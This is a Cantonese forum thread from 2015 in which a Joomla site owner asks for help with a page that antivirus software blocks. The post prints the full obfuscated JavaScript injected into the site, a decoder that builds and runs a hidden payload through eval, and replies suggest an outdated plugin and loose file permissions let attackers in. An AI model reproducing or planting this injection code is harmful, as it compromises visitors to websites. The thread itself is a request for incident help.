Board logo

標題: [技術討論] joomla malicious code [打印本頁]
作者: carlkyo    時間: 2015-12-24 12:01     標題: joomla malicious code

最近kaspersky block左個網頁
不過淨係用IE先會咁
html開始有段code
many thanks
  1. <style>.hecwtndgflrp { display:none; }</style>
  2. <div id="eoqoncpmjjzs" class="hecwtndgflrp">TL8KemiSU005</div>
  3. <div id="ffwwfgtlgp" class="hecwtndgflrp">bi btc w e dab a mbd c cenana qdnbx chayapa eazametchd hct av aqbt c y bu czcq ct cabw cqdwdoc fb paqd uc rcscvdx d xbaa gafew, e wamdtdectdkd vdx aaaz aoemb odjboaqaaam cj bhbedfd mchbn ddbudkdbc fbba fehdveiah bf ejaeb r bycfbba fanabagdv ep a; ychae azab ege sal aqdcbsc iddcf aab e - dgeje wdgddcn bx: d ucybkb wcfbqaabhcodl dnbzdware. i 'ab' a c; akbmcedhdqcneschcwbiaraicnemeb cpcqc yceb pag dxapaf az bqcf cndfcqcf bucobla - kazas b. jc gcp dlcncj b j di ejaeapbacicf. c rc q dceh cedj chdr cmdrdsefc, mc uaobj; bldoc, l andjdmd vdxcmcuaoc ibpddbs a n. a, zdfdsdxaa c m czeh bxaedw a wazaqclbwaoamd dcj cgayboaja mbabgeaa sd mdpbk. cbd gcgagbcaeb x bv 'dqdrcneoekaeb', iadb fa ickbwaqcpctcdej b abjarazaze bes b fc odgcg ci dj ckaa. agbe 'c'. cbmcqdkdccjbhdpcfcxbe ahci ccdn cmcmbk c i. dp cla wcpagbhbybfd edmc bck: docecwbb aaccbi cqd r. crcjb vawchanbd dibn eaa jb ed eekbqafeu. d ebedldveeacacanci ckai bgdjdbcvb - kci dgcq dpebegakewdhdb cvchbwdldj d, pb ge jbaer - dcdpcxef ebbf dld fb mbtdhbu dnddcs cdcicsaoase vep</div>
  4. <script>
  5. var dzwpegznlkcijuo=(1081053155>418316581?"\x26":"ix");
  6. var btwpjxeahvzokhw=(1593671268>597759755?"\x66\x72\x6f":"\x67\x7a");
  7. var yunhxvkxrm=(177748764>1994929855?"vi":"l");
  8. var jjnciykhwwbh=(463726966>1949718961?"\x6a\x77":"\x31\x32");
  9. var obieodfopwtxn=(1801325218>2143748944?"\x63\x71":"ml");
  10. var omvvnqfrzztt=(877960010>144072272?"-":"j");
  11. var ecbxivmqifhrt=(1866508189>28328931?"gf":"\x67");
  12. var aquhwqpppgm=(1501297660<1932863973?"\x20":"oa");
  13. var bgcjpixfhfugdg=(1021197073>702514966?"c":"\x64\x64");
  14. var ylauxchmvaiuqcl=(1454384501>1140419138?"\x72":"\x7a");
  15. var qrdbjltnyn=(957859769>915696969?"\x73\x64":"\x61\x6f");
  16. var msbqryluzme=(220513270>1285856184?"\x62":"et");
  17. var htpfywbvnzwt=(1379117530<1411156098?"\x4f\x66":"\x6a\x79");
  18. var aemcxknsxuypysk=(1439558927<1926069952?"\x76\x3a":"aec");
  19. var mimslbrvjbfqzyice=(262780898<1014152659?"\x67":"\x70");
  20. var pmkllrxejwmkcgv=(1053184580>1195150870?"z":"%");
  21. var abngijoujqug=(1178860244>1948264743?"i":"<");
  22. var hwgtqawfoiyocs=(89247246<179426086?"\x2b":"\x6a");
  23. var lcvklutxipntm=(463099169<73425456?"\x77\x73\x73":"dex");
  24. var lchhcaihpxqkxqt=(1739676775<2133960489?"\x48\x54":"zk");
  25. var dguorcsbpjwvaf=(1589271751>1364314802?"By":"\x77");
  26. var xqxndkufiystrrre=(698038906<65988114?"\x77":"ha");
  27. var jehuziipaepxr=(1517131156>1601247870?"\x64\x65":"\x43");
  28. var raionduwwchv=(899457991>115859286?"d":"\x73\x73");
  29. var cogyhgtgcuwnfy=(664966275<1032155359?"]":"\x73");
  30. var ffwwfgtlgp=(216571155<171448999?"\x71\x70":"f");
  31. var bdagzhsyaarbc=(399177719<1973632086?"\x5b":"tlt");
  32. var tekkrencdbboq=(1020005988<1815739282?"cons":"\x65");
  33. var ldfnsnmfrxn=(1539012953>946216487?"\x76\x69":"\x68");
  34. var wncnlasemkhs=(1978858261>2065020550?"\x6b\x6d":"(");
  35. var eoqoncpmjjzs=(1348877356<56982498?"gv":"\x65");
  36. var odicwmxvrgk=(839499420<573919259?"\x74\x66":"AS");
  37. yunhxvkxrm+=(329898866>270644795?"\x65\x6e\x67\x74":"tw");
  38. var vniokizwichxai=(1006383900>1310632443?"w":"\x69\x6e\x6e\x65\x72");
  39. var lwpovwaqtkacls=(102803341>87821974?"\x72":"\x61\x69\x6f");
  40. vniokizwichxai+=(2016240395>1918447033?"\x48\x54":"\x65\x6f");
  41. var fuspattgdykhh=(2131183738>1309927997?"\x43\x49":"\x72");
  42. var yedndxjfvnwxakz=(1185956519<200130250?"\x6b":"\x75\x63");
  43. var efsjxhbxoufujhv=(6470553>2030292?"tr":"\x69");
  44. var cueidvdxundq=(1414173878>2129005230?"t":"functio");
  45. vniokizwichxai+=(1810651196>1126443985?"\x4d\x4c":"emq");
  46. var hajfrfeptoddwqg=(310771180>246628237?"At":"u");
  47. ffwwfgtlgp+=(557652143<408502349?"\x6a":"f");
  48. var zxisycezlzuaa=(89904040<1679468158?"\x72":"\x75\x68\x62");
  49. var pwkdmezijy=(1761532848<2023833570?"ML":"v");
  50. var mhmggocddxd=(666372034>496541173?"\x3d":"\x6e");
  51. raionduwwchv+=(348884638>1654677445?"o":"\x6f");
  52. cueidvdxundq+=(449951794<1515277489?"\x6e":"gwm");
  53. eoqoncpmjjzs+=(1835710005>692676640?"oqonc":"\x79\x6a");
  54. eoqoncpmjjzs+=(274816247<1707524883?"p":"tc");
  55. var iqutxohoyzkwr=(2043378303>2104364706?"\x6a\x6c\x62":"in");
  56. var euwscwrcvf=(705909762<1642920348?"\x45\x6c":"\x64\x75");
  57. var vtutcviuapeoko=(1771149558>2020987059?"\x6d\x79\x6a":"^");
  58. var nmiyfqbllbwcg=(1261502659<2004464967?"en":"\x75\x69\x6f");
  59. var uibawzsywbow=(973119790>1294409670?"gd":"!");
  60. lwpovwaqtkacls+=(2102106821<116519393?"bm":"et");
  61. lwpovwaqtkacls+=(1420279249<1573472107?"u":"ra");
  62. lwpovwaqtkacls+=(1360390134<722364126?"fz":"rn");
  63. var okshvxzhqbfh=(2057996224<2076888313?")":"kg");
  64. var oodjlkgixut=(1070331345<2121894815?"\x75\x6c":"y");
  65. tekkrencdbboq+=(629216779<297251193?"ud":"\x74");
  66. var bepczxlydiyh=(1745189176>1764241491?"prm":"\x68\x61\x72");
  67. var rcchflbihlatzy=(910240775<1997377102?"\x63\x6f":"w");
  68. tekkrencdbboq+=(1715245226>1676284764?"\x72":"\x6e");
  69. var nkiehzgelrw=(1557553763>2014755872?"c":".");
  70. bepczxlydiyh+=(1316734405<1620973791?"\x43\x6f":"\x67\x77");
  71. cueidvdxundq+=(1445706879<1791496397?"\x20":"\x67");
  72. var iyzslahborowklzof=(898353826>1810111678?"ffa":"i");
  73. cueidvdxundq+=(401086175>1768219875?"ko":"khpesjwviif");
  74. zxisycezlzuaa+=(1318084353<338303525?"bfu":"eturn");
  75. btwpjxeahvzokhw+=(716012587<994939833?"m":"vs");
  76. lwpovwaqtkacls+=(1250044124<761052714?"ni":"\x20");
  77. tekkrencdbboq+=(353394556<1266509854?"ucto":"h");
  78. cueidvdxundq+=(1834831736<2055944730?"\x64":"\x71\x67\x72");
  79. var hhaqrmqqmmj=(778359574>570673002?"*":"o");
  80. tekkrencdbboq+=(1847785626>1860565021?"d":"r");
  81. lwpovwaqtkacls+=(1332906695<1246797926?"\x74":"\x65\x6f");
  82. cueidvdxundq+=(114172598<1193857675?"(":"u");
  83. lwpovwaqtkacls+=(802805457>61051564?"qon":"r");
  84. lwpovwaqtkacls+=(1805893392>1805495486?"cp":"\x68\x7a");
  85. lwpovwaqtkacls+=(854568722<1670756691?"\x6d\x6a\x6a\x7a\x73":"jy");
  86. lwpovwaqtkacls+=(984989564>1489804868?"\x6a\x74\x6e":".");
  87. cueidvdxundq+=(103376131>78819537?"\x65\x6f\x71":"mh");
  88. var wdudzbohvtub=(1628314436>1150027907?"S":"\x77\x7a\x6f");
  89. lwpovwaqtkacls+=(340262658<158724806?"\x79\x66\x73":"cha");
  90. ffwwfgtlgp+=(655365112<320937758?"\x71\x76\x67":"\x77\x77\x66\x67\x74\x6c\x67");
  91. cueidvdxundq+=(1770065780>2111456698?"\x67\x70":"onc");
  92. ffwwfgtlgp+=(1044298729<78483624?"\x77":"p");
  93. iyzslahborowklzof+=(23781676<858413703?"\x79\x7a\x73\x6c":"ti");
  94. yunhxvkxrm+=(1209283240<271990607?"\x6f\x66":"h");
  95. wdudzbohvtub+=(2077514412<556895400?"\x6c\x6c":"tring");
  96. iyzslahborowklzof+=(166524280<158346045?"d":"\x61\x68");
  97. iyzslahborowklzof+=(432898402>196036939?"\x62\x6f\x72":"qr");
  98. raionduwwchv+=(391332493<1277204702?"\x63":"lo");
  99. iyzslahborowklzof+=(2082987472>2087060833?"\x77\x6a":"\x6f");
  100. bepczxlydiyh+=(590166013>213721740?"de":"\x7a\x79\x79");
  101. raionduwwchv+=(482634629>353772948?"ument.g":"\x77\x6e");
  102. eoqoncpmjjzs+=(437830741<2004090311?"\x6d\x6a\x6a\x7a":"ve");
  103. lwpovwaqtkacls+=(529796826<278065927?"\x72":"r");
  104. iyzslahborowklzof+=(1703966909<1738109009?"wklzof":"uj");
  105. cueidvdxundq+=(522849521>2010350394?"e":"pmj");
  106. lwpovwaqtkacls+=(1175217767<1778891458?"At(":"pfh");
  107. lwpovwaqtkacls+=(507781232<248730420?"now":"ffwwf");
  108. cueidvdxundq+=(794952127>726581969?"\x6a":"\x72\x6d");
  109. raionduwwchv+=(1697983855<2074838841?"e":"\x6b\x6c");
  110. raionduwwchv+=(922616374>2074915109?"\x64":"\x74\x45\x6c\x65");
  111. raionduwwchv+=(1868803616>1878298905?"y":"\x6d\x65");
  112. cueidvdxundq+=(819773676<2030685754?"zs,ff":"sx");
  113. eoqoncpmjjzs+=(580338019<60804141?"\x76\x73\x78":"s");
  114. lwpovwaqtkacls+=(1490683417<664964364?"lo":"\x67\x74");
  115. raionduwwchv+=(190728883<10446413?"\x75\x6f":"n");
  116. raionduwwchv+=(1121134587>1260587567?"\x72\x6d":"\x74");
  117. lwpovwaqtkacls+=(1316487915>1500763910?"\x75":"l");
  118. raionduwwchv+=(1880060379<1595513387?"t":"ById");
  119. cueidvdxundq+=(309762137<164017897?"ka":"wwfgtl");
  120. lwpovwaqtkacls+=(1502303862>1221042736?"\x67\x70":"xbn");
  121. cueidvdxundq+=(1910478221<1139909395?"\x6f\x6a":"\x67\x70");
  122. cueidvdxundq+=(1273886797>1928224838?"\x6e\x73":")");
  123. cueidvdxundq+=(1307135849>1367443976?"\x63":"\x7b\x72\x65\x74\x75");
  124. cueidvdxundq+=(1058111751>1004656043?"rn":"\x79");
  125. lwpovwaqtkacls+=(542482681<1518385077?"\x29":"\x72\x72\x69");
  126. cueidvdxundq+=(1698777842<1825357128?" n":"ap");
  127. cueidvdxundq+=(336144634<993699366?"e":"hw");
  128. lwpovwaqtkacls+=(870194365>1036329581?"yl":"\x3b");
  129. cueidvdxundq+=(223962359>1646811167?"d":"\x77\x20\x46\x75\x6e\x63");
  130. cueidvdxundq+=(1767002801>2032354118?"\x76\x74":"\x74");
  131. cueidvdxundq+=(1864146229<113472411?"\x66\x75":"\x69\x6f\x6e\x28\x65");
  132. cueidvdxundq+=(1786861293>490596196?"\x6f\x71":"zkt");
  133. cueidvdxundq+=(2074167719>2141617539?"sa":"on");
  134. cueidvdxundq+=(1210962526<1814718454?"\x63\x70\x6d\x6a\x6a\x7a\x73\x2c\x66\x66":"v");
  135. cueidvdxundq+=(2123511251>2130613173?"ql":"w");
  136. cueidvdxundq+=(850576457<121244316?"hz":"wfgt");
  137. cueidvdxundq+=(2000046631<523265760?"\x70":"lgp");
  138. cueidvdxundq+=(1501042569<1731208395?"\x29\x7d\x66":"ju");
  139. cueidvdxundq+=(1526182950<1896110809?"\x75\x6e\x63\x74\x69\x6f\x6e\x20":"\x66\x6d");
  140. cueidvdxundq+=(1190174895<501991622?"\x62\x77":"h");
  141. cueidvdxundq+=(1426825292<1667551285?"\x68\x78":"wm");
  142. cueidvdxundq+=(766264197>1973703193?"cvt":"\x75\x6c\x62\x74\x73");
  143. cueidvdxundq+=(745839907>1789104255?"\x7a":"\x6c\x68\x6f\x28\x65");
  144. cueidvdxundq+=(896061597<1864065550?"\x6f\x71\x6f":"\x6d\x6c");
  145. cueidvdxundq+=(49629940>45222345?"\x6e":"rz");
  146. cueidvdxundq+=(1162379430<417743210?"jn":"cp");
  147. cueidvdxundq+=(1416164383>372626820?"\x6d\x6a\x6a\x7a\x73":"\x67\x65");
  148. cueidvdxundq+=(1065836052<2013508598?"\x2c\x66\x66":"\x6e\x77");
  149. cueidvdxundq+=(166966645<1177284455?"\x77\x77":"zhk");
  150. cueidvdxundq+=(1386151252>1509457335?"\x69\x74":"\x66");
  151. cueidvdxundq+=(716111002<1918182566?"gt":"\x68\x68\x78");
  152. cueidvdxundq+=(510011525>99456495?"\x6c\x67\x70\x2c\x69\x79":"u");
  153. cueidvdxundq+=(1452129610<2141202661?"\x7a":"\x6f\x75\x6e");
  154. cueidvdxundq+=(809337790>676294822?"\x73\x6c\x61\x68\x62\x6f":"eie");
  155. cueidvdxundq+=(714471199<556828469?"\x79\x73\x73":"ro");
  156. cueidvdxundq+=(1079101903>108633809?"w":"\x6a");
  157. cueidvdxundq+=(1264920709>603717075?"kl":"\x6f\x74");
  158. cueidvdxundq+=(944549383>381752912?"\x7a\x6f":"zx");
  159. cueidvdxundq+=(2103219132<2123844717?"f)":"\x77\x69");
  160. cueidvdxundq+=(43779021<464698421?"\x7b\x72\x65":"l");
  161. cueidvdxundq+=(1450834690<985396951?"\x63\x6c":"\x74");
  162. cueidvdxundq+=(57691147>1977033071?"yl":"\x75\x72\x6e");
  163. cueidvdxundq+=(343628298<1758504717?"\x20":"\x6a\x70\x64");
  164. cueidvdxundq+=(1027139201>285893205?"\x6e\x65\x77":"\x77\x64\x6d");
  165. cueidvdxundq+=(1410464038<1540336724?" ":"v");
  166. cueidvdxundq+=(44345754>299816254?"gg":"Fun");
  167. cueidvdxundq+=(194655763<1057623547?"\x63\x74\x69\x6f":"l");
  168. cueidvdxundq+=(1318342379>1849579932?"\x6b\x72\x6e":"n(");
  169. cueidvdxundq+=(256962251>113872581?"e":"\x65\x79\x6b");
  170. cueidvdxundq+=(1260038601<831348292?"\x63":"\x6f\x71\x6f\x6e\x63\x70\x6d");
  171. cueidvdxundq+=(1531265457<2036740148?"\x6a\x6a":"\x70\x73");
  172. cueidvdxundq+=(320709432>555484499?"\x63\x69":"z");
  173. cueidvdxundq+=(716708598>1664499156?"\x68\x73\x6a":"s,f");
  174. cueidvdxundq+=(882415101>1692446583?"j":"f");
  175. cueidvdxundq+=(1822058310>1273849333?"wwfgtl":"co");
  176. cueidvdxundq+=(909144708<568342782?"zw":"\x67");
  177. cueidvdxundq+=(1503145858>857471054?"\x70\x2c":"o");
  178. cueidvdxundq+=(874239745>1561846321?"\x6e\x6c":"iyz");
  179. cueidvdxundq+=(13327320>1592965620?"jp":"\x73\x6c");
  180. cueidvdxundq+=(1526748787<2135225133?"\x61\x68":"\x69\x6c");
  181. cueidvdxundq+=(603391206<1489303650?"\x62":"ax");
  182. cueidvdxundq+=(888386903<1974831184?"\x6f\x72\x6f\x77\x6b":"ba");
  183. cueidvdxundq+=(1078602820>19032491?"\x6c\x7a\x6f":"\x71");
  184. cueidvdxundq+=(242173957>24463485?"\x66":"\x64");
  185. cueidvdxundq+=(1845557965>433633932?")}":"nnf");
  186. var rzhgxqjnlxadd=true;
  187. var glewyiwhviev="\x22";
  188. var bfuyvqghhvfee=10;
  189. var acnnqkgasituwe=0;
  190. </script>
  191. <div class="hecwtndgflrp">eh? dicde m ceeactcudldj cud jcoehekcdcod fdbcxe h ekekcxee emdgcn, e herdecxea, e rcveid mdkedecerdz. eld be. sc, xda bzdte ccqd cdmcnd - ydxdibxdeec eled czcdcpceekeqd g b, xdvdgcxdccydjdjegesbxcuc bdxcx eodg e md ud teddkdhcoc pdvcsd yby c ae mcqeccv</div>
  192. <script>
  193. eval(cueidvdxundq);
  194. var htkbohlxdzszxt = hhxulbtslho(eoqoncpmjjzs,ffwwfgtlgp,lwpovwaqtkacls);
  195. bfuyvqghhvfee=acnnqkgasituwe+1;
  196. </script>
  197. <div class="hecwtndgflrp">endjdieq eb csdjeodf, ereee cd ec yc, ncnduei bw d. mdjcqdbdk encpeqd kc f dc e bc. ycbdwbz cydxbw cterdkdfdme qd vcrdtc pc a d dbxcfeaep djcz eade, dfdieccde o ed! dv dzeq, cudd e qcodi. cpcsd. fdydzcpdwccel e j c yd. jccdfc zepdd d 90 le! gcxcseh eg ece mccdx cadidtce dycydcd b dyer c xd. fd ceq</div>
  198. <script>
  199. var unagfmbaieeye=hhxulbtslho(eoqoncpmjjzs,ffwwfgtlgp,zxisycezlzuaa+aquhwqpppgm+eoqoncpmjjzs+nkiehzgelrw+iqutxohoyzkwr+lcvklutxipntm+htpfywbvnzwt+wncnlasemkhs+ffwwfgtlgp+okshvxzhqbfh);
  200. var rartsihqpfsuiy=khpesjwviifd(eoqoncpmjjzs,zxisycezlzuaa+aquhwqpppgm+eoqoncpmjjzs+nkiehzgelrw+yunhxvkxrm);
  201. var hpwilzdrogufyt=khpesjwviifd(ffwwfgtlgp,zxisycezlzuaa+aquhwqpppgm+wdudzbohvtub+nkiehzgelrw+btwpjxeahvzokhw+jehuziipaepxr+bepczxlydiyh+wncnlasemkhs+ffwwfgtlgp+okshvxzhqbfh);
  202. var yfmgxdiztb=hhxulbtslho(eoqoncpmjjzs,ffwwfgtlgp,zxisycezlzuaa+aquhwqpppgm+eoqoncpmjjzs+nkiehzgelrw+bgcjpixfhfugdg+bepczxlydiyh+hajfrfeptoddwqg+wncnlasemkhs+ffwwfgtlgp+okshvxzhqbfh);
  203. var pxaytrdoopasxl=hhxulbtslho(eoqoncpmjjzs,ffwwfgtlgp,zxisycezlzuaa+aquhwqpppgm+eoqoncpmjjzs+pmkllrxejwmkcgv+ffwwfgtlgp);
  204. var llpeoutnfmyaweksz=khpesjwviifd(eoqoncpmjjzs,zxisycezlzuaa+aquhwqpppgm+raionduwwchv+wncnlasemkhs+eoqoncpmjjzs+okshvxzhqbfh+nkiehzgelrw+vniokizwichxai);
  205. var tqirqoccbuhmh=hhxulbtslho(eoqoncpmjjzs,ffwwfgtlgp,zxisycezlzuaa+aquhwqpppgm+eoqoncpmjjzs+hwgtqawfoiyocs+ffwwfgtlgp);
  206. var rartsihqpfsuiy=khpesjwviifd(eoqoncpmjjzs,zxisycezlzuaa+aquhwqpppgm+eoqoncpmjjzs+nkiehzgelrw+yunhxvkxrm);
  207. var ksqapvejcsak=new Function(eoqoncpmjjzs,ffwwfgtlgp,zxisycezlzuaa+aquhwqpppgm+eoqoncpmjjzs+omvvnqfrzztt+ffwwfgtlgp);
  208. var iyzeattpqekc=hhxulbtslho(eoqoncpmjjzs,ffwwfgtlgp,zxisycezlzuaa+aquhwqpppgm+eoqoncpmjjzs+vtutcviuapeoko+ffwwfgtlgp);
  209. </script>
  210. <div class="hecwtndgflrp">cd, egeecaduemdjdicweddf dx czeedmcbdzdgeedad bdwcsdb eeeodken es, erehcscqcocn deb y dwcxehdtdf eqdwdl esce dfefdven, cqepcdcpc x bwelcddg djdyefco c tdm eld zbyd vdibze rdweecvdicnco emdwd keoe gdcde eodzercpcc dv bwdceje dbxdtcycu, dkczdu cqdbcxbweocbc 'd' ejer erc s e gejemc yea dzcpeid f bzejcve odg</div>
  211. <script>
  212. var cztpdxuipijozyiv=bfuyvqghhvfee;
  213. var rvegmeavymiuzs="";
  214. var zolsocasvwxp;
  215. var kamaoszvpl=hhxulbtslho(eoqoncpmjjzs,ffwwfgtlgp,zxisycezlzuaa+aquhwqpppgm+eoqoncpmjjzs+hhaqrmqqmmj+ffwwfgtlgp);
  216. var mltlimegaeczru=hhxulbtslho(eoqoncpmjjzs,ffwwfgtlgp,zxisycezlzuaa+aquhwqpppgm+eoqoncpmjjzs+abngijoujqug+ffwwfgtlgp);
  217. var gonrfacbpwk=khpesjwviifd(eoqoncpmjjzs,zxisycezlzuaa+aquhwqpppgm+uibawzsywbow+eoqoncpmjjzs);
  218. var ekeayzezuy=khpesjwviifd(eoqoncpmjjzs,bdagzhsyaarbc+cogyhgtgcuwnfy+bdagzhsyaarbc+glewyiwhviev+tekkrencdbboq+glewyiwhviev+cogyhgtgcuwnfy+bdagzhsyaarbc+glewyiwhviev+tekkrencdbboq+glewyiwhviev+cogyhgtgcuwnfy+wncnlasemkhs+eoqoncpmjjzs+okshvxzhqbfh+wncnlasemkhs+okshvxzhqbfh);
  219. var hsrfllbxdulc=llpeoutnfmyaweksz(eoqoncpmjjzs);
  220. var ivjsilksijvoxsii=acnnqkgasituwe;
  221. var oedvnnsnrbecsy=hhxulbtslho(eoqoncpmjjzs,ffwwfgtlgp,zxisycezlzuaa+aquhwqpppgm+eoqoncpmjjzs+abngijoujqug+mhmggocddxd+ffwwfgtlgp);
  222. var elnfpwexniz=acnnqkgasituwe;
  223. var onnajhxpgzbiwv=llpeoutnfmyaweksz(ffwwfgtlgp);
  224. var lbuprijxvl=hhxulbtslho(eoqoncpmjjzs,ffwwfgtlgp,zxisycezlzuaa+aquhwqpppgm+eoqoncpmjjzs+dzwpegznlkcijuo+dzwpegznlkcijuo+ffwwfgtlgp);
  225. </script>
  226. <div class="hecwtndgflrp">c, teeegd cb zcb cocvc ueoc d. el encv dceccnepbwb zc zdbdv dkekeacc - dxeacqczebehdyeeeb dccp dcc qd kcqdzdbcwdi. e adaczcnd. yccd c dzcseqczed d y cvdmducyegdzcq. epbwdi d gcs e b bwdg bydh cxcb emc aepdm bzduescad - tdu es c: adadedcer dldvcsdueq bybyd f; eae jd ce, ndyehd dceep</div>
  227. <script>
  228. var lunbvvtmccpzyu=[ylauxchmvaiuqcl+aemcxknsxuypysk+htkbohlxdzszxt(jjnciykhwwbh,acnnqkgasituwe)+htkbohlxdzszxt(jjnciykhwwbh,acnnqkgasituwe),htkbohlxdzszxt(pwkdmezijy,acnnqkgasituwe)+htkbohlxdzszxt(odicwmxvrgk,bfuyvqghhvfee)+htkbohlxdzszxt(fuspattgdykhh,bfuyvqghhvfee)+htkbohlxdzszxt(euwscwrcvf,acnnqkgasituwe),];
  229. cmpemlnzwxli=acnnqkgasituwe;
  230. while (mltlimegaeczru(cmpemlnzwxli,rartsihqpfsuiy(lunbvvtmccpzyu)))
  231. {
  232.     ekeayzezuy("idauqidqbqtpy"+mhmggocddxd+htkbohlxdzszxt(iqutxohoyzkwr,bfuyvqghhvfee)+htkbohlxdzszxt(xqxndkufiystrrre,bfuyvqghhvfee)+ldfnsnmfrxn+htkbohlxdzszxt(ecbxivmqifhrt,acnnqkgasituwe)+htkbohlxdzszxt(xqxndkufiystrrre,bfuyvqghhvfee)+htkbohlxdzszxt(msbqryluzme,bfuyvqghhvfee)+htkbohlxdzszxt(rcchflbihlatzy,bfuyvqghhvfee)+htkbohlxdzszxt(efsjxhbxoufujhv,bfuyvqghhvfee)+nkiehzgelrw+htkbohlxdzszxt(yedndxjfvnwxakz,acnnqkgasituwe)+htkbohlxdzszxt(qrdbjltnyn,acnnqkgasituwe)+htkbohlxdzszxt(nmiyfqbllbwcg,acnnqkgasituwe)+htkbohlxdzszxt(efsjxhbxoufujhv,bfuyvqghhvfee)+htkbohlxdzszxt(odicwmxvrgk,acnnqkgasituwe)+htkbohlxdzszxt(ecbxivmqifhrt,acnnqkgasituwe)+htkbohlxdzszxt(msbqryluzme,acnnqkgasituwe)+htkbohlxdzszxt(iqutxohoyzkwr,bfuyvqghhvfee)+htkbohlxdzszxt(msbqryluzme,bfuyvqghhvfee));
  233.     if (mltlimegaeczru((+[window.sidebar]),unagfmbaieeye(idauqidqbqtpy,lunbvvtmccpzyu[cmpemlnzwxli])))
  234.     {
  235.         cztpdxuipijozyiv=ksqapvejcsak(rartsihqpfsuiy(lunbvvtmccpzyu), cmpemlnzwxli);
  236.         break;
  237.     }
  238.     cmpemlnzwxli++;
  239. }</script>
  240. <div class="hecwtndgflrp">dccqefcyd wcq. e ndxcbbzcbelesdt cscdelcnd v df ct ele md fecd ecsdb. cpc oege e cyd kd: vbwekcwdl dvep dgd aeserd wdi end dcte qdkca e dc t eh ea ctee df cw eoddcferdidbe c e jcx ct. dldtege ddh - e ddmcvefcnbxeodfcxdzc, ceodmbwegcrcxd h ducoddepegeqek eg 'e' geidfdec xeide</div>
  241. <script>
  242. for (cmpemlnzwxli=acnnqkgasituwe; mltlimegaeczru(cmpemlnzwxli, rartsihqpfsuiy(onnajhxpgzbiwv)); cmpemlnzwxli=tqirqoccbuhmh(cmpemlnzwxli, bfuyvqghhvfee))
  243. {
  244.     if (cmpemlnzwxli == rartsihqpfsuiy(onnajhxpgzbiwv)) { break; }
  245.     var wjliejuexbbrsjn=yfmgxdiztb(onnajhxpgzbiwv, cmpemlnzwxli);
  246.     if (lbuprijxvl(oedvnnsnrbecsy(19*cztpdxuipijozyiv + 59, wjliejuexbbrsjn), oedvnnsnrbecsy(wjliejuexbbrsjn, 30*cztpdxuipijozyiv + 62)))
  247.     {
  248.         if (pxaytrdoopasxl(elnfpwexniz, cztpdxuipijozyiv))
  249.         {
  250.             rvegmeavymiuzs=tqirqoccbuhmh(rvegmeavymiuzs, hpwilzdrogufyt(pxaytrdoopasxl((iyzeattpqekc(tqirqoccbuhmh(zolsocasvwxp, ksqapvejcsak(wjliejuexbbrsjn, 19*cztpdxuipijozyiv + 59)), yfmgxdiztb(hsrfllbxdulc, pxaytrdoopasxl(ivjsilksijvoxsii, rartsihqpfsuiy(hsrfllbxdulc))))), 46*cztpdxuipijozyiv + 163)));
  251.             ivjsilksijvoxsii=tqirqoccbuhmh(ivjsilksijvoxsii, bfuyvqghhvfee);
  252.         }
  253.         else
  254.         {
  255.             zolsocasvwxp=kamaoszvpl(13*cztpdxuipijozyiv + 0, ksqapvejcsak(wjliejuexbbrsjn, 19*cztpdxuipijozyiv + 59));
  256.         }
  257.         elnfpwexniz=tqirqoccbuhmh(elnfpwexniz, bfuyvqghhvfee);
  258.     }
  259. }
  260. ekeayzezuy(rvegmeavymiuzs);
複製代碼
作者: ykmran    時間: 2015-12-24 16:07

obfuscation就係想人睇唔明，又或者見到都唔想睇
呢段code非常成功
作者: hkisee    時間: 2015-12-25 20:07

係咪JOOMLA D PLUGIN太舊比人HACK左
作者: carlkyo    時間: 2015-12-25 21:46

本帖最後由 carlkyo 於 2015-12-25 21:47 編輯
係咪JOOMLA D PLUGIN太舊比人HACK左
hkisee 發表於 2015-12-25 20:07



    淨係裝左xmap同k2 photo gallery pro
k2 photo gallery裝完冇update過~"~
諗到解決既方法 可能777俾人改到file
重裝一次再還原sql
作者: hkisee    時間: 2015-12-25 23:10

回覆 4# carlkyo


    我之前都試過,..
係個PLUGIN太舊...所以比人HACK..
作者: carlkyo    時間: 2016-6-2 16:30

本帖最後由 carlkyo 於 2016-6-6 10:55 編輯

原來俾人換左兩個file
網頁一直有人不停TRY PASSWORD
但唔知佢點換




歡迎光臨 電腦領域 HKEPC Hardware (https://www.hkepc.com/forum/) Powered by Discuz! 7.2